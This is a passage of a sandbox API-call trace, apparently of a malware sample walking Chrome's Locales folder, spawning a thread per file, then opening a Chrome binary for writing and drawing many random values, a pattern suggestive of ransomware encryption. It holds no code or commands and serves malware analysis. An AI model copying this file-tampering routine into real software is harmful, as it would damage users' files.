1 [0158.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11d90 [0158.575] wcscpy (in: _Dest=0x1ce11d90, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.575] wcscat (in: _Dest=0x1ce11d90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.575] wcscat (in: _Dest=0x1ce11d90, _Source="sl.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sl.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sl.pak" [0158.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1fa4 [0158.576] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff1d8112, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x79e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr.pak", cAlternateFileName="")) returned 1 [0158.576] wcscmp (_String1="sr.pak", _String2=".") returned 1 [0158.576] wcscmp (_String1="sr.pak", _String2="..") returned 1 [0158.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce109a0 [0158.576] wcscpy (in: _Dest=0x1ce109a0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.576] wcscat (in: _Dest=0x1ce109a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.576] wcscat (in: _Dest=0x1ce109a0, _Source="sr.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sr.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sr.pak" [0158.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce109a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1164 [0158.577] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff206755, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x496bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv.pak", cAlternateFileName="")) returned 1 [0158.577] wcscmp (_String1="sv.pak", _String2=".") returned 1 [0158.577] wcscmp (_String1="sv.pak", _String2="..") returned 1 [0158.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10d10 [0158.578] wcscpy (in: _Dest=0x1ce10d10, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.578] wcscat (in: _Dest=0x1ce10d10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.578] wcscat (in: _Dest=0x1ce10d10, _Source="sv.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sv.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sv.pak" [0158.578] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1168 [0158.579] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff22d865, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x44b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw.pak", cAlternateFileName="")) returned 1 [0158.579] wcscmp (_String1="sw.pak", _String2=".") returned 1 [0158.579] wcscmp (_String1="sw.pak", _String2="..") returned 1 [0158.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10fd0 [0158.579] wcscpy (in: _Dest=0x1ce10fd0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.579] wcscat (in: _Dest=0x1ce10fd0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.579] wcscat (in: _Dest=0x1ce10fd0, _Source="sw.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sw.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\sw.pak" [0158.579] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x116c [0158.580] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff25bea8, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xbcd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta.pak", cAlternateFileName="")) returned 1 [0158.580] wcscmp (_String1="ta.pak", _String2=".") returned 1 [0158.580] wcscmp (_String1="ta.pak", _String2="..") returned 1 [0158.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11340 [0158.580] wcscpy (in: _Dest=0x1ce11340, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.581] wcscat (in: _Dest=0x1ce11340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.581] wcscat (in: _Dest=0x1ce11340, _Source="ta.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ta.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\ta.pak" [0158.581] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170 [0158.582] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff298f51, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb0b7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="te.pak", cAlternateFileName="")) returned 1 [0158.582] wcscmp (_String1="te.pak", _String2=".") returned 1 [0158.582] wcscmp (_String1="te.pak", _String2="..") returned 1 [0158.582] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11130 [0158.583] wcscpy (in: _Dest=0x1ce11130, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.583] wcscat (in: _Dest=0x1ce11130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.583] wcscat (in: _Dest=0x1ce11130, _Source="te.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\te.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\te.pak" [0158.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0158.584] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff2c4e83, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9efb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="th.pak", cAlternateFileName="")) returned 1 [0158.584] wcscmp (_String1="th.pak", _String2=".") returned 1 [0158.584] wcscmp (_String1="th.pak", _String2="..") returned 1 [0158.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10a50 [0158.584] wcscpy (in: _Dest=0x1ce10a50, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.584] wcscat (in: _Dest=0x1ce10a50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.584] wcscat (in: _Dest=0x1ce10a50, _Source="th.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\th.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\th.pak" [0158.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10a50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1174 [0158.585] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff2f0db5, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f508, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.pak", cAlternateFileName="")) returned 1 [0158.585] wcscmp (_String1="tr.pak", _String2=".") returned 1 [0158.585] wcscmp (_String1="tr.pak", _String2="..") returned 1 [0158.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce10f20 [0158.585] wcscpy (in: _Dest=0x1ce10f20, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.585] wcscat (in: _Dest=0x1ce10f20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.585] wcscat (in: _Dest=0x1ce10f20, _Source="tr.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\tr.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\tr.pak" [0158.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce10f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd50 [0158.586] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff31cce7, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x7e1bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk.pak", cAlternateFileName="")) returned 1 [0158.586] wcscmp (_String1="uk.pak", _String2=".") returned 1 [0158.586] wcscmp (_String1="uk.pak", _String2="..") returned 1 [0158.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce113f0 [0158.586] wcscpy (in: _Dest=0x1ce113f0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.586] wcscat (in: _Dest=0x1ce113f0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.586] wcscat (in: _Dest=0x1ce113f0, _Source="uk.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\uk.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\uk.pak" [0158.587] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce113f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1178 [0158.587] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff343df7, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5af42, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi.pak", cAlternateFileName="")) returned 1 [0158.587] wcscmp (_String1="vi.pak", _String2=".") returned 1 [0158.587] wcscmp (_String1="vi.pak", _String2="..") returned 1 [0158.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11290 [0158.588] wcscpy (in: _Dest=0x1ce11290, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.588] wcscat (in: _Dest=0x1ce11290, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.588] wcscat (in: _Dest=0x1ce11290, _Source="vi.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\vi.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\vi.pak" [0158.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x117c [0158.589] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff3687f6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4217c, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN.pak", cAlternateFileName="")) returned 1 [0158.589] wcscmp (_String1="zh-CN.pak", _String2=".") returned 1 [0158.589] wcscmp (_String1="zh-CN.pak", _String2="..") returned 1 [0158.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce111e0 [0158.589] wcscpy (in: _Dest=0x1ce111e0, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.589] wcscat (in: _Dest=0x1ce111e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.589] wcscat (in: _Dest=0x1ce111e0, _Source="zh-CN.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-CN.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-CN.pak" [0158.589] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce111e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa90 [0158.590] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff394728, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42194, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 1 [0158.590] wcscmp (_String1="zh-TW.pak", _String2=".") returned 1 [0158.590] wcscmp (_String1="zh-TW.pak", _String2="..") returned 1 [0158.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce11760 [0158.590] wcscpy (in: _Dest=0x1ce11760, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales" [0158.590] wcscat (in: _Dest=0x1ce11760, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\" [0158.590] wcscat (in: _Dest=0x1ce11760, _Source="zh-TW.pak" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-TW.pak") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\Locales\\zh-TW.pak" [0158.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0158.592] FindNextFileW (in: hFindFile=0x1ced5e00, lpFindFileData=0x1ce1e6e0 | out: lpFindFileData=0x1ce1e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff394728, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42194, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW.pak", cAlternateFileName="")) returned 0 [0158.592] FindClose (in: hFindFile=0x1ced5e00 | out: hFindFile=0x1ced5e00) returned 1 [0158.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e6e0) returned 1 [0158.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c290) returned 1 [0158.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adca0) returned 1 Thread: id = 2508 os_tid = 0x1fa4 [0154.660] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\nacl_irt_x86_64.nexe")) returned 0x20 [0154.662] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe", dwFileAttributes=0x20) returned 1 [0154.663] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\58.0.3029.110\\nacl_irt_x86_64.nexe" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\58.0.3029.110\\nacl_irt_x86_64.nexe"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x688 [0154.663] GetFileSizeEx (in: hFile=0x688, lpFileSize=0x3049fe40 | out: lpFileSize=0x3049fe40*=3671600) returned 1 [0154.663] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x38062c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.663] ReadFile (in: hFile=0x688, lpBuffer=0x3049fdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3049fe08, lpOverlapped=0x0 | out: lpBuffer=0x3049fdc0*, lpNumberOfBytesRead=0x3049fe08*=0x4, lpOverlapped=0x0) returned 1 [0154.784] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9e30 [0154.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda040 [0154.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda0d0 [0154.785] NtQuerySystemTime (in: CurrentTime=0x3049fd00 | out: CurrentTime=0x3049fd00*=132462177599230000) returned 0x0 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0xd11fd5d [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x591eb70d [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x6ffccdd9 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x481cc5c1 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0xd90346c [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x4cfd791f [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x6538cc34 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x1d932b83 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x34441cde [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x79744376 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x3ceb66a1 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x4d1d5e81 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x446a4cf6 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x5d2bd364 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x701688ed [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x3222a66 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x316c4d69 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x38b03b7e [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x47f048bf [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x3f487270 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x1fad35e [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x407c80e9 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x17b0da5c [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x3d0f1bb0 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 0x5ac07139 [0154.785] RtlRandomEx (in: Seed=0x3049fcf0 | out: Seed=0x3049fcf0) returned 